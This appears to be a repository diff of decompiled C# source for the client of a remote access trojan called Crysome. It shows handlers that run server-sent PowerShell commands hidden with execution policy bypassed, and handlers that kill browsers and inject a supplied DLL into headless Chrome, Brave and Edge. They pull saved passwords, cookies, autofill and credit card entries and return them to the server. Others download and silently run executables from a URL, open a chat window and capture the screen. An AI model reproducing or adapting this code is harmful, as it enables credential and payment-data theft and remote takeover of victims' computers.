_textBox.Clear();
AddMessage("You", text);
_onSend?.Invoke(text);
}
}
}
Crysome.Client/Crysome.Client.Handlers/ChatHandlers.cs
+88
View File
@@ -0,0 +1,88 @@
using System.Threading;
using System.Windows.Forms;
using Crysome.Common.Network;
using Crysome.Common.Network.Packets;
namespace Crysome.Client.Handlers;
public static class ChatHandlers
{
private static CrysomeClient _client;
private static ChatForm _form;
private static Thread _uiThread;
private static readonly object _lock = new object();
public static void HandleChatMessage(CrysomeClient client, IPacket packet)
{
//IL_0001: Unknown result type (might be due to invalid IL or missing references)
//IL_0007: Expected O, but got Unknown
ChatMessagePacket val = (ChatMessagePacket)packet;
if (string.IsNullOrEmpty(val.Message))
{
return;
}
_client = client;
EnsureForm();
try
{
_form?.AddMessage("Server", val.Message);
}
catch
{
}
}
internal static void OnFormClosed()
{
lock (_lock)
{
_form = null;
}
}
private static void EnsureForm()
{
lock (_lock)
{
if (_form == null || _form.IsDisposed)
{
_form = new ChatForm(SendToServer);
_uiThread = new Thread((ThreadStart)delegate
{
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(defaultValue: false);
Application.Run(_form);
})
{
IsBackground = true
};
_uiThread.SetApartmentState(ApartmentState.STA);
_uiThread.Start();
while (_form == null || !_form.IsHandleCreated)
{
Thread.Sleep(50);
}
}
}
}
private static void SendToServer(string msg)
{
//IL_0019: Unknown result type (might be due to invalid IL or missing references)
//IL_0023: Expected O, but got Unknown
try
{
CrysomeClient client = _client;
if (client != null && client.IsConnected)
{
_client.SendPacket((IPacket)new ChatMessagePacket(msg));
}
}
catch
{
}
}
}
Crysome.Client/Crysome.Client.Handlers/CommandHandlers.cs
+72
View File
@@ -0,0 +1,72 @@
using System;
using System.Diagnostics;
using System.Text;
using Crysome.Common.Network;
using Crysome.Common.Network.Packets;
using Crysome.Common.Network.Packets.Client;
using Crysome.Common.Network.Packets.Server;
namespace Crysome.Client.Handlers;
public static class CommandHandlers
{
private const int MaxOutput = 512000;
public static void HandleRunCommand(CrysomeClient client, IPacket packet)
{
//IL_0001: Unknown result type (might be due to invalid IL or missing references)
//IL_0013: Unknown result type (might be due to invalid IL or missing references)
//IL_001d: Expected O, but got Unknown
string text = RunPowerShell(((RunCommandRequestPacket)packet).Command);
client.SendPacket((IPacket)new RunCommandResponsePacket(text));
}
private static string RunPowerShell(string command)
{
try
{
string text = Convert.ToBase64String(Encoding.Unicode.GetBytes(command));
ProcessStartInfo startInfo = new ProcessStartInfo
{
FileName = "powershell.exe",
Arguments = "-NoProfile -ExecutionPolicy Bypass -EncodedCommand " + text,
UseShellExecute = false,
RedirectStandardOutput = true,
RedirectStandardError = true,
CreateNoWindow = true,
WindowStyle = ProcessWindowStyle.Hidden
};
StringBuilder sb = new StringBuilder();
using (Process process = Process.Start(startInfo))
{
process.OutputDataReceived += delegate(object s, DataReceivedEventArgs e)
{
if (e.Data != null && sb.Length < 512000)
{
sb.AppendLine(e.Data);
}
};
process.ErrorDataReceived += delegate(object s, DataReceivedEventArgs e)
{
if (e.Data != null && sb.Length < 512000)
{
sb.AppendLine(e.Data);
}
};
process.BeginOutputReadLine();
process.BeginErrorReadLine();
process.WaitForExit(60000);
}
string text2 = sb.ToString();
if (text2.Length > 512000)
{
text2 = text2.Substring(0, 512000) + "...(truncated)";
}
return string.IsNullOrEmpty(text2) ? "(no output)" : text2;
}
catch (Exception ex)
{
return "Error: " + ex.Message;
}
}
}
Crysome.Client/Crysome.Client.Handlers/CredentialsHandlers.cs
+876
View File
@@ -0,0 +1,876 @@
using System;
using System.Collections.Generic;
using System.Data.Common;
using System.Data.SQLite;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using Crysome.Common.Network;
using Crysome.Common.Network.Packets;
using Crysome.Common.Network.Packets.Client;
using Crysome.Common.Network.Packets.Server;
using Microsoft.Win32;
namespace Crysome.Client.Handlers;
public static class CredentialsHandlers
{
private struct STARTUPINFOW
{
public int cb;
public IntPtr lpReserved;
public IntPtr lpDesktop;
public IntPtr lpTitle;
public uint dwX;
public uint dwY;
public uint dwXSize;
public uint dwYSize;
public uint dwXCountChars;
public uint dwYCountChars;
public uint dwFillAttribute;
public uint dwFlags;
public short wShowWindow;
public short cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
private struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public uint dwProcessId;
public uint dwThreadId;
}
private const uint CREATE_SUSPENDED = 4u;
private const uint CREATE_NO_WINDOW = 134217728u;
private const uint DETACHED_PROCESS = 8u;
private const uint STARTF_USESHOWWINDOW = 1u;
private const uint STARTF_USESTDHANDLES = 256u;
private const int MEM_COMMIT = 4096;
private const int MEM_RESERVE = 8192;
private const int PAGE_READWRITE = 4;
private const int MEM_RELEASE = 32768;
private const uint WAIT_TIMEOUT = 258u;
private static readonly string[] BrowserNames = new string[3] { "Chrome", "Brave", "Edge" };
private static readonly string[] BrowserExes = new string[3] { "chrome.exe", "brave.exe", "msedge.exe" };
private static readonly string[] ChromeRegPaths = new string[2] { "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\chrome.exe", "SOFTWARE\\Google\\Chrome\\BLBeacon" };
private static readonly string[] BraveRegPaths = new string[1] { "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\brave.exe" };
private static readonly string[] EdgeRegPaths = new string[1] { "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\msedge.exe" };
private static readonly string[] ChromeFallbackPaths = new string[3] { "%ProgramFiles%\\Google\\Chrome\\Application\\chrome.exe", "%ProgramFiles(x86)%\\Google\\Chrome\\Application\\chrome.exe", "%LocalAppData%\\Google\\Chrome\\Application\\chrome.exe" };
private static readonly string[] BraveFallbackPaths = new string[2] { "%ProgramFiles%\\BraveSoftware\\Brave-Browser\\Application\\brave.exe", "%LocalAppData%\\BraveSoftware\\Brave-Browser\\Application\\brave.exe" };
private static readonly string[] EdgeFallbackPaths = new string[2] { "%ProgramFiles(x86)%\\Microsoft\\Edge\\Application\\msedge.exe", "%ProgramFiles%\\Microsoft\\Edge\\Application\\msedge.exe" };
private static readonly string[][] BrowserRegPaths = new string[3][] { ChromeRegPaths, BraveRegPaths, EdgeRegPaths };
private static readonly string[][] BrowserFallbacks = new string[3][] { ChromeFallbackPaths, BraveFallbackPaths, EdgeFallbackPaths };
private static string LocalAppData => Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
private static string RoamingAppData => Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
[DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
private static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFOW lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, UIntPtr dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, UIntPtr nSize, out UIntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool VirtualFreeEx(IntPtr hProcess, IntPtr lpAddress, UIntPtr dwSize, uint dwFreeType);
[DllImport("kernel32.dll", CharSet = CharSet.Unicode)]
private static extern IntPtr GetModuleHandle(string lpModuleName);
[DllImport("kernel32.dll", CharSet = CharSet.Ansi)]
private static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, UIntPtr dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out IntPtr lpThreadId);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool CloseHandle(IntPtr hObject);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool GetExitCodeThread(IntPtr hThread, out uint lpExitCode);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern uint ResumeThread(IntPtr hThread);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool TerminateProcess(IntPtr hProcess, uint uExitCode);
private static void KillBrowsers()
{
string[] array = new string[6] { "chrome", "brave", "msedge", "firefox", "opera", "operagx" };
foreach (string processName in array)
{
try
{
Process[] processesByName = Process.GetProcessesByName(processName);
foreach (Process process in processesByName)
{
try
{
process.Kill();
process.WaitForExit(1000);
}
catch
{
}
finally
{
try
{
process.Dispose();
}
catch
{
}
}
}
}
catch
{
}
}
Thread.Sleep(500);
}
private static List<(string Browser, string Name, string Value)> ReadChromiumAutofill(string webDataPath)
{
//IL_0054: Unknown result type (might be due to invalid IL or missing references)
//IL_005a: Expected O, but got Unknown
//IL_0066: Unknown result type (might be due to invalid IL or missing references)
//IL_006d: Expected O, but got Unknown
//IL_0100: Unknown result type (might be due to invalid IL or missing references)
//IL_0107: Expected O, but got Unknown
List<(string, string, string)> list = new List<(string, string, string)>();
if (!File.Exists(webDataPath))
{
return list;
}
string text = Path.Combine(Path.GetTempPath(), "wd_" + Guid.NewGuid().ToString("N") + ".db");
try
{
File.Copy(webDataPath, text, overwrite: true);
SQLiteConnection val = new SQLiteConnection("Data Source=" + text + ";Version=3;ReadOnly=True;");
try
{
((DbConnection)(object)val).Open();
SQLiteCommand val2 = new SQLiteCommand("SELECT name, value FROM autofill LIMIT 5000", val);
try
{
SQLiteDataReader val3 = val2.ExecuteReader();
try
{
while (((DbDataReader)(object)val3).Read())
{
string text2 = (((DbDataReader)(object)val3).IsDBNull(0) ? "" : ((DbDataReader)(object)val3).GetString(0));
string text3 = (((DbDataReader)(object)val3).IsDBNull(1) ? "" : ((DbDataReader)(object)val3).GetString(1));
if (!string.IsNullOrWhiteSpace(text2) || !string.IsNullOrWhiteSpace(text3))
{
list.Add((text2, text3, ""));
}
}
}
finally
{
((IDisposable)val3)?.Dispose();
}
}
finally
{
((IDisposable)val2)?.Dispose();
}
try
{
SQLiteCommand val4 = new SQLiteCommand("SELECT name_on_card, card_number_encrypted, expiration_month, expiration_year FROM credit_cards LIMIT 100", val);
try
{
SQLiteDataReader val5 = val4.ExecuteReader();
try
{
while (((DbDataReader)(object)val5).Read())
{
string text4 = (((DbDataReader)(object)val5).IsDBNull(0) ? "" : ((DbDataReader)(object)val5).GetString(0));
string text5 = (((DbDataReader)(object)val5).IsDBNull(1) ? "" : "[encrypted]");
string text6 = (((DbDataReader)(object)val5).IsDBNull(2) ? "" : ((DbDataReader)(object)val5).GetString(2)) + "/" + (((DbDataReader)(object)val5).IsDBNull(3) ? "" : ((DbDataReader)(object)val5).GetString(3));
if (!string.IsNullOrWhiteSpace(text4))
{
list.Add(("CreditCard: " + text4, "Number: " + text5, "Exp: " + text6));
}
}
}
finally
{
((IDisposable)val5)?.Dispose();
}
}
finally
{
((IDisposable)val4)?.Dispose();
}
}
catch
{
}
}
finally
{
((IDisposable)val)?.Dispose();
}
}
catch
{
}
finally
{
try
{
File.Delete(text);
}
catch
{
}
}
return list;
}
private static List<(string Browser, string Name, string Value)> ReadFirefoxAutofill(string profileDir)
{
//IL_006a: Unknown result type (might be due to invalid IL or missing references)
//IL_0071: Expected O, but got Unknown
//IL_007f: Unknown result type (might be due to invalid IL or missing references)
//IL_0086: Expected O, but got Unknown
List<(string, string, string)> list = new List<(string, string, string)>();
if (!Directory.Exists(profileDir))
{
return list;
}
string text = Path.Combine(profileDir, "formhistory.sqlite");
if (!File.Exists(text))
{
return list;
}
string text2 = Path.Combine(Path.GetTempPath(), "ffh_" + Guid.NewGuid().ToString("N") + ".db");
try
{
File.Copy(text, text2, overwrite: true);
SQLiteConnection val = new SQLiteConnection("Data Source=" + text2 + ";Version=3;ReadOnly=True;");
try
{
((DbConnection)(object)val).Open();
SQLiteCommand val2 = new SQLiteCommand("SELECT fieldname, value FROM moz_formhistory LIMIT 2000", val);
try
{
SQLiteDataReader val3 = val2.ExecuteReader();
try
{
while (((DbDataReader)(object)val3).Read())
{
string text3 = (((DbDataReader)(object)val3).IsDBNull(0) ? "" : ((DbDataReader)(object)val3).GetString(0));
string text4 = (((DbDataReader)(object)val3).IsDBNull(1) ? "" : ((DbDataReader)(object)val3).GetString(1));
if (!string.IsNullOrWhiteSpace(text3) || !string.IsNullOrWhiteSpace(text4))
{
list.Add((text3, text4, ""));
}
}
}
finally
{
((IDisposable)val3)?.Dispose();
}
}
finally
{
((IDisposable)val2)?.Dispose();
}
}
finally
{
((IDisposable)val)?.Dispose();
}
}
catch
{
}
finally
{
try
{
File.Delete(text2);
}
catch
{
}
}
return list;
}
private static List<(string Browser, string Name, string Value, string Value2)> GetAllAutofills()
{
List<(string, string, string, string)> list = new List<(string, string, string, string)>();
string text = Path.Combine(LocalAppData, "Google\\Chrome\\User Data\\Default\\Web Data");
if (File.Exists(text))
{
foreach (var (item, item2, item3) in ReadChromiumAutofill(text))
{
list.Add(("Chrome", item, item2, item3));
}
}
string text2 = Path.Combine(LocalAppData, "BraveSoftware\\Brave-Browser\\User Data\\Default\\Web Data");
if (File.Exists(text2))
{
foreach (var (item4, item5, item6) in ReadChromiumAutofill(text2))
{
list.Add(("Brave", item4, item5, item6));
}
}
string text3 = Path.Combine(LocalAppData, "Microsoft\\Edge\\User Data\\Default\\Web Data");
if (File.Exists(text3))
{
foreach (var (item7, item8, item9) in ReadChromiumAutofill(text3))
{
list.Add(("Edge", item7, item8, item9));
}
}
string text4 = FirefoxProfileDir();
if (text4 != null)
{
foreach (var (item10, item11, item12) in ReadFirefoxAutofill(text4))
{
list.Add(("Firefox", item10, item11, item12));
}
}
return list;
}
private static string FirefoxProfileDir()
{
try
{
string path = Path.Combine(RoamingAppData, "Mozilla\\Firefox\\Profiles");
if (!Directory.Exists(path))
{
return null;
}
string[] directories = Directory.GetDirectories(path);
foreach (string text in directories)
{
if (File.Exists(Path.Combine(text, "formhistory.sqlite")))
{
return text;
}
}
}
catch
{
}
return null;
}
private static string EscapeJsonString(string s)
{
if (s == null)
{
return "";
}
return s.Replace("\\", "\\\\").Replace("\"", "\\\"").Replace("\n", "\\n")
.Replace("\r", "\\r")
.Replace("\t", "\\t");
}
private static string BuildAutofillJson(List<(string Browser, string Name, string Value, string Value2)> entries)
{
if (entries == null || entries.Count == 0)
{
return "[]";
}
StringBuilder stringBuilder = new StringBuilder("[");
for (int i = 0; i < entries.Count; i++)
{
if (i > 0)
{
stringBuilder.Append(",");
}
stringBuilder.Append("{\"browser\":\"" + EscapeJsonString(entries[i].Browser) + "\",\"name\":\"" + EscapeJsonString(entries[i].Name) + "\",\"value\":\"" + EscapeJsonString(entries[i].Value + " " + entries[i].Value2).Trim() + "\"}");
}
stringBuilder.Append("]");
return stringBuilder.ToString();
}
public static void HandleRequestCredentials(CrysomeClient client, IPacket packet)
{
Task.Run(delegate
{
DoHandleRequestCredentials(client, packet);
});
}
private static void DoHandleRequestCredentials(CrysomeClient client, IPacket packet)
{
//IL_0001: Unknown result type (might be due to invalid IL or missing references)
//IL_0007: Expected O, but got Unknown
RequestCredentialsPacket val = (RequestCredentialsPacket)packet;
string text = null;
string text2 = "";
string text3 = "";
string text4 = "";
StringBuilder stringBuilder = new StringBuilder();
bool flag = val.RequestType == 0 || val.RequestType == 2 || val.RequestType == 4;
bool flag2 = val.RequestType == 1 || val.RequestType == 2 || val.RequestType == 4;
bool flag3 = val.RequestType == 3 || val.RequestType == 4;
stringBuilder.AppendLine("Type=" + val.RequestType + " DLL=" + ((val.DllBytes == null) ? "null" : (val.DllBytes.Length + "B")) + " wantPW=" + flag + " wantCK=" + flag2 + " wantAF=" + flag3);
try
{
KillBrowsers();
if (flag3)
{
try
{
List<(string, string, string, string)> allAutofills = GetAllAutofills();
text4 = BuildAutofillJson(allAutofills);
stringBuilder.AppendLine("Autofills: " + allAutofills.Count + " entries");
}
catch (Exception ex)
{
stringBuilder.AppendLine("Autofill error: " + ex.Message);
}
}
if (flag || flag2)
{
string text5 = Path.Combine(Path.GetTempPath(), "abe_decrypt_" + Guid.NewGuid().ToString("N") + ".dll");
if (val.DllBytes != null && val.DllBytes.Length != 0)
{
try
{
File.WriteAllBytes(text5, val.DllBytes);
}
catch (Exception ex2)
{
SendResponse(client, "Failed to write DLL: " + ex2.Message, null, null, text4);
return;
}
}
else
{
string lastDllPath = FileTransferHandlers.LastDllPath;
if (string.IsNullOrEmpty(lastDllPath) || !File.Exists(lastDllPath))
{
SendResponse(client, "DLL not provided.", null, null, text4);
return;
}
text5 = lastDllPath;
}
List<string> list = new List<string>();
List<string> list2 = new List<string>();
for (int i = 0; i < BrowserExes.Length; i++)
{
string browserPath = GetBrowserPath(i);
stringBuilder.AppendLine("Browser[" + BrowserExes[i] + "]: " + (browserPath ?? "NOT FOUND"));
if (string.IsNullOrEmpty(browserPath))
{
continue;
}
bool flag4 = BrowserExes[i].Equals("msedge.exe", StringComparison.OrdinalIgnoreCase);
IntPtr hProcessOut = IntPtr.Zero;
bool flag5 = InjectAndRun(text5, browserPath, BrowserExes[i], out hProcessOut);
stringBuilder.AppendLine(" inject=" + flag5);
if (!flag5)
{
continue;
}
int maxWaitMs = (flag4 ? 30000 : 15000);
string text6 = WaitForOutput(BrowserNames[i], maxWaitMs, stringBuilder);
if (!string.IsNullOrEmpty(text6))
{
foreach (string item in EnumerateProfileDirs(text6))
{
if (flag)
{
string path = Path.Combine(item, "passwords.json");
if (File.Exists(path))
{
try
{
list.Add(File.ReadAllText(path));
}
catch
{
}
}
}
if (!flag2)
{
continue;
}
string path2 = Path.Combine(item, "cookies.json");
if (File.Exists(path2))
{
try
{
list2.Add(File.ReadAllText(path2));
}
catch
{
}
}
}
}
if (hProcessOut != IntPtr.Zero)
{
try
{
TerminateProcess(hProcessOut, 0u);
WaitForSingleObject(hProcessOut, 2000u);
}
catch
{
}
try
{
CloseHandle(hProcessOut);
}
catch
{
}
}
KillBrowsers();
}
text2 = (flag ? string.Join("\n", list.Where((string s) => !string.IsNullOrWhiteSpace(s))) : "");
text3 = (flag2 ? string.Join("\n", list2.Where((string s) => !string.IsNullOrWhiteSpace(s))) : "");
try
{
string text7 = Path.Combine(Path.GetTempPath(), "csm_cred_debug");
Directory.CreateDirectory(text7);
File.WriteAllText(Path.Combine(text7, "passwords_raw.json"), text2);
File.WriteAllText(Path.Combine(text7, "cookies_raw.json"), text3);
File.WriteAllText(Path.Combine(text7, "autofills_raw.json"), text4);
File.WriteAllText(Path.Combine(text7, "diag.txt"), stringBuilder.ToString());
}
catch
{
}
CleanupOutputDirectories();
}
}
catch (Exception ex3)
{
text = ex3.Message;
Program.Log("Credentials handler error: " + ex3.ToString());
stringBuilder.AppendLine("EXCEPTION: " + ex3.Message);
}
if (string.IsNullOrEmpty(text2) && string.IsNullOrEmpty(text3) && string.IsNullOrEmpty(text4) && string.IsNullOrEmpty(text))
{
text = stringBuilder.ToString().Trim();
}
SendResponse(client, text, text2, text3, text4);
}
private static string WaitForOutput(string browserName, int maxWaitMs, StringBuilder diag)
{
string text = Path.Combine(LocalAppData, "output", browserName);
string text2 = Path.Combine(Path.GetTempPath(), "output", browserName);
Stopwatch stopwatch = Stopwatch.StartNew();
while (stopwatch.ElapsedMilliseconds < maxWaitMs)
{
string[] array = new string[2] { text, text2 };
foreach (string text3 in array)
{
if (!Directory.Exists(text3))
{
Thread.Sleep(500);
continue;
}
string[] array2 = SafeGetDirectories(text3);
for (int j = 0; j < array2.Length; j++)
{
if (SafeGetFiles(array2[j]).Length != 0)
{
diag.AppendLine(" output found at: " + text3 + " (" + stopwatch.ElapsedMilliseconds + "ms)");
return text3;
}
}
}
Thread.Sleep(500);
}
diag.AppendLine(" output NOT found after " + maxWaitMs + "ms");
return null;
}
private static IEnumerable<string> EnumerateProfileDirs(string outputBase)
{
string[] array = SafeGetDirectories(outputBase);
for (int i = 0; i < array.Length; i++)
{
yield return array[i];
}
}
private static string[] SafeGetDirectories(string path)
{
try
{
return Directory.Exists(path) ? Directory.GetDirectories(path) : Array.Empty<string>();
}
catch
{
return Array.Empty<string>();
}
}
private static string[] SafeGetFiles(string path)
{
try
{
return Directory.Exists(path) ? Directory.GetFiles(path) : Array.Empty<string>();
}
catch
{
return Array.Empty<string>();
}
}
private static string GetBrowserPath(int browserIndex)
{
string[] array = BrowserRegPaths[browserIndex];
foreach (string subKey in array)
{
string text = TryRegistryValue(Registry.LocalMachine, subKey, "");
if (!string.IsNullOrEmpty(text) && File.Exists(text))
{
return text;
}
text = TryRegistryValue(Registry.CurrentUser, subKey, "");
if (!string.IsNullOrEmpty(text) && File.Exists(text))
{
return text;
}
}
array = BrowserFallbacks[browserIndex];
for (int i = 0; i < array.Length; i++)
{
string text2 = Environment.ExpandEnvironmentVariables(array[i]);
if (File.Exists(text2))
{
return text2;
}
}
return null;
}
private static string TryRegistryValue(RegistryKey hive, string subKey, string valueName)
{
try
{
using RegistryKey registryKey = hive.OpenSubKey(subKey);
return registryKey?.GetValue(valueName) as string;
}
catch
{
return null;
}
}
private static bool InjectAndRun(string dllPath, string browserExePath, string exeName, out IntPtr hProcessOut)
{
hProcessOut = IntPtr.Zero;
IntPtr intPtr = IntPtr.Zero;
IntPtr intPtr2 = IntPtr.Zero;
IntPtr intPtr3 = IntPtr.Zero;
IntPtr intPtr4 = IntPtr.Zero;
bool flag = exeName.Equals("msedge.exe", StringComparison.OrdinalIgnoreCase);
try
{
string lpCommandLine = ((!flag) ? ("\"" + browserExePath + "\" --headless=new --disable-gpu --no-sandbox --disable-extensions --disable-software-rasterizer --disable-dev-shm-usage --disable-logging --silent-launch --no-first-run --no-default-browser-check --disable-popup-blocking --disable-background-networking --disable-sync --disable-translate --metrics-recording-only --mute-audio --hide-scrollbars --window-position=-10000,-10000 --window-size=1,1 about:blank") : ("\"" + browserExePath + "\" --headless=new --disable-gpu --no-sandbox --disable-extensions --disable-software-rasterizer --disable-dev-shm-usage --disable-logging --silent-launch --no-first-run --no-default-browser-check --disable-popup-blocking --disable-background-networking --disable-sync --disable-translate --metrics-recording-only --mute-audio --hide-scrollbars --window-position=-10000,-10000 --window-size=1,1 --disable-features=RendererCodeIntegrity about:blank"));
STARTUPINFOW lpStartupInfo = new STARTUPINFOW
{
cb = Marshal.SizeOf(typeof(STARTUPINFOW)),
dwFlags = 257u,
wShowWindow = 0,
hStdInput = IntPtr.Zero,
hStdOutput = IntPtr.Zero,
hStdError = IntPtr.Zero
};
uint dwCreationFlags = 134217740u;
if (!CreateProcess(null, lpCommandLine, IntPtr.Zero, IntPtr.Zero, bInheritHandles: false, dwCreationFlags, IntPtr.Zero, null, ref lpStartupInfo, out var lpProcessInformation))
{
Program.Log("InjectAndRun: CreateProcess failed for " + exeName + " err=" + Marshal.GetLastWin32Error());
return false;
}
intPtr = lpProcessInformation.hProcess;
intPtr2 = lpProcessInformation.hThread;
byte[] bytes = Encoding.Unicode.GetBytes(dllPath + "\0");
UIntPtr uIntPtr = (UIntPtr)(ulong)bytes.Length;
intPtr3 = VirtualAllocEx(intPtr, IntPtr.Zero, uIntPtr, 12288u, 4u);
if (intPtr3 == IntPtr.Zero)
{
TerminateProcess(intPtr, 0u);
return false;
}
if (!WriteProcessMemory(intPtr, intPtr3, bytes, uIntPtr, out var lpNumberOfBytesWritten) || lpNumberOfBytesWritten != uIntPtr)
{
VirtualFreeEx(intPtr, intPtr3, UIntPtr.Zero, 32768u);
TerminateProcess(intPtr, 0u);
return false;
}
IntPtr moduleHandle = GetModuleHandle("kernel32.dll");
if (moduleHandle == IntPtr.Zero)
{
TerminateProcess(intPtr, 0u);
return false;
}
IntPtr procAddress = GetProcAddress(moduleHandle, "LoadLibraryW");
if (procAddress == IntPtr.Zero)
{
TerminateProcess(intPtr, 0u);
return false;
}
intPtr4 = CreateRemoteThread(intPtr, IntPtr.Zero, UIntPtr.Zero, procAddress, intPtr3, 0u, out var _);
if (intPtr4 == IntPtr.Zero)
{
Program.Log("InjectAndRun: CreateRemoteThread failed for " + exeName + " err=" + Marshal.GetLastWin32Error());
VirtualFreeEx(intPtr, intPtr3, UIntPtr.Zero, 32768u);
TerminateProcess(intPtr, 0u);
return false;
}
uint num = WaitForSingleObject(intPtr4, 8000u);
uint lpExitCode = 0u;
GetExitCodeThread(intPtr4, out lpExitCode);
CloseHandle(intPtr4);
intPtr4 = IntPtr.Zero;
VirtualFreeEx(intPtr, intPtr3, UIntPtr.Zero, 32768u);
intPtr3 = IntPtr.Zero;
if (lpExitCode == 0 || num == 258)
{
Program.Log("InjectAndRun: LoadLibrary returned 0 or timed out for " + exeName + " exitCode=" + lpExitCode + " waitResult=" + num);
TerminateProcess(intPtr, 0u);
return false;
}
ResumeThread(intPtr2);
hProcessOut = intPtr;
intPtr = IntPtr.Zero;
return true;
}
catch (Exception ex)
{
Program.Log("InjectAndRun: " + ex.Message);
if (intPtr != IntPtr.Zero)
{
try
{
TerminateProcess(intPtr, 0u);
}
catch
{
}
}
return false;
}
finally
{
if (intPtr4 != IntPtr.Zero)
{
CloseHandle(intPtr4);
}
if (intPtr3 != IntPtr.Zero && intPtr != IntPtr.Zero)
{
VirtualFreeEx(intPtr, intPtr3, UIntPtr.Zero, 32768u);
}
if (intPtr2 != IntPtr.Zero)
{
CloseHandle(intPtr2);
}
if (intPtr != IntPtr.Zero)
{
CloseHandle(intPtr);
}
}
}
private static void SendResponse(CrysomeClient client, string error, string pw, string ck, string af)
{
//IL_002a: Unknown result type (might be due to invalid IL or missing references)
//IL_0034: Expected O, but got Unknown
try
{
client.SendPacket((IPacket)new CredentialsResponsePacket(error ?? "", pw ?? "", ck ?? "", af ?? ""));
}
catch (Exception ex)
{
Program.Log("Credentials send error: " + ex.Message);
}
}
private static void CleanupOutputDirectories()
{
string[] array = new string[2]
{
Path.Combine(LocalAppData, "output"),
Path.Combine(Path.GetTempPath(), "output")
};
foreach (string path in array)
{
try
{
if (Directory.Exists(path))
{
Directory.Delete(path, recursive: true);
}
}
catch
{
}
}
}
}
Crysome.Client/Crysome.Client.Handlers/DirectLinkHandlers.cs
+56
View File
@@ -0,0 +1,56 @@
using System;
using System.Diagnostics;
using System.IO;
using System.Net;
using Crysome.Common.Network;
using Crysome.Common.Network.Packets;
using Crysome.Common.Network.Packets.Client;
using Crysome.Common.Network.Packets.Server;
namespace Crysome.Client.Handlers;
public static class DirectLinkHandlers
{
public static void HandleDirectLink(CrysomeClient client, IPacket packet)
{
//IL_0001: Unknown result type (might be due to invalid IL or missing references)
//IL_0007: Expected O, but got Unknown
//IL_00b0: Unknown result type (might be due to invalid IL or missing references)
//IL_00ba: Expected O, but got Unknown
DirectLinkRequestPacket val = (DirectLinkRequestPacket)packet;
string text;
try
{
string url = val.Url;
if (string.IsNullOrEmpty(url))
{
text = "ERR: Empty URL";
}
else
{
string text2 = Path.GetFileName(new Uri(url).LocalPath);
if (string.IsNullOrEmpty(text2))
{
text2 = "download.exe";
}
string fileName = Path.Combine(Path.GetTempPath(), text2);
using (WebClient webClient = new WebClient())
{
webClient.DownloadFile(url, fileName);
}
Process.Start(new ProcessStartInfo
{
FileName = fileName,
UseShellExecute = true,
WindowStyle = ProcessWindowStyle.Hidden
});
text = "OK DL: " + text2;
}
}
catch (Exception ex)
{
text = "ERR DL: " + ex.Message;
}
client.SendPacket((IPacket)new DirectLinkResponsePacket(text));
}
}
Crysome.Client/Crysome.Client.Handlers/DxgiCapture.cs
+280
View File
@@ -0,0 +1,280 @@
using System;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Runtime.InteropServices;
using SharpDX;
using SharpDX.Direct3D11;
using SharpDX.DXGI;
using TurboJpegWrapper;
using Device = SharpDX.Direct3D11.Device;
using MapFlags = SharpDX.Direct3D11.MapFlags;
using Resource = SharpDX.DXGI.Resource;
namespace Crysome.Client.Handlers
{
internal sealed class DxgiCapture : IDisposable
{
private Device _device;
private OutputDuplication _duplication;
private Texture2D _staging;
private int _width;
private int _height;
private bool _disposed;
private byte[] _bgrBuffer;
private TJCompressor _turboJpeg;
private bool _turboAvailable;
public int Width => _width;
public int Height => _height;
public bool IsInitialized => _duplication != null;
public bool Init(int screenIndex)
{
Cleanup();
try
{
using (var factory = new Factory1())
{
Adapter1 adapter = factory.GetAdapter1(0);
_device = new Device(adapter, DeviceCreationFlags.BgraSupport);
int outputIdx = Math.Max(0, screenIndex);
Output output = adapter.GetOutput(outputIdx);
using (var output1 = output.QueryInterface<Output1>())
{
_width = output.Description.DesktopBounds.Right - output.Description.DesktopBounds.Left;
_height = output.Description.DesktopBounds.Bottom - output.Description.DesktopBounds.Top;
_staging = new Texture2D(_device, new Texture2DDescription
{
CpuAccessFlags = CpuAccessFlags.Read,
BindFlags = BindFlags.None,
Format = Format.B8G8R8A8_UNorm,
Width = _width,
Height = _height,
MipLevels = 1,
ArraySize = 1,
SampleDescription = new SampleDescription(1, 0),
Usage = ResourceUsage.Staging,
OptionFlags = ResourceOptionFlags.None
});
_duplication = output1.DuplicateOutput(_device);
}
output.Dispose();
adapter.Dispose();
}
_bgrBuffer = new byte[_width * _height * 3];
try
{
_turboJpeg = new TJCompressor();
_turboAvailable = true;
}
catch
{
_turboAvailable = false;
}
return true;
}
catch
{
Cleanup();
return false;
}
}
